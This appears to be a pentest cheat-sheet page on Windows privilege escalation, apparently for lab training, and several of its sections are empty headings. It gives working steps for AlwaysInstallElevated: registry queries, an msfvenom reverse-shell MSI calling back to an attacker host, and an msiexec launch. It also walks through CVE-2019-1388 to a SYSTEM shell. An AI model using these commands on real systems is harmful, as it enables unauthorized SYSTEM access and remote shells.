Miscellaneous Techniques
Living Off The Land Binaries and Scripts (LOLBAS)
Certutil
Transfer Files
Encode File
Decode File
Rundll32
A binary such as rundll32.exe can be used to execute a DLL file. We could use this to obtain a reverse shell by executing a .DLL file that we either download onto the remote host or host ourselves on an SMB share.
Always Install Elevated
Citrix BreakoutPowerUp
Registry - AlwaysInstallElevated
Query the registry for AlwaysInstallElevated keys:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedNote that both keys are set to 1 (0x1).On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msiTransfer the reverse.msi file to the C:\PrivEsc directory on Windows
Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
CVE-2019-1388
Vulnerable Windows Server and Workstation versions.
Right click on the hhupd.exe executable and select Run as administrator from the menu.
Click on Show information about the publisher's certificate to open the certificate dialog. Here we can see that the SpcSpAgencyInfo field is populated in the Details tab.
Click on the hyperlink and then click OK, and the certificate dialog will close, and a browser window will launch
The browser instance was launched as SYSTEM.
Right-click anywhere on the web page and choose View page source. Once the page source opens in another tab, right-click again and select Save as, and a Save As dialog box will open.
Type c:\windows\system32\cmd.exe in the file path and hit enter. If all goes to plan, we will have a cmd.exe instance running as SYSTEM.
Scheduled Tasks
Checking Permissions on C:\Scripts Directory
User/Computer Description Field
Computer Description Field
Mount VHDX/VMDK
.vhd, .vhdx, and .vmdk files
Mount VMDK on Linux
Mount VHD/VHDX on Linux
Last updated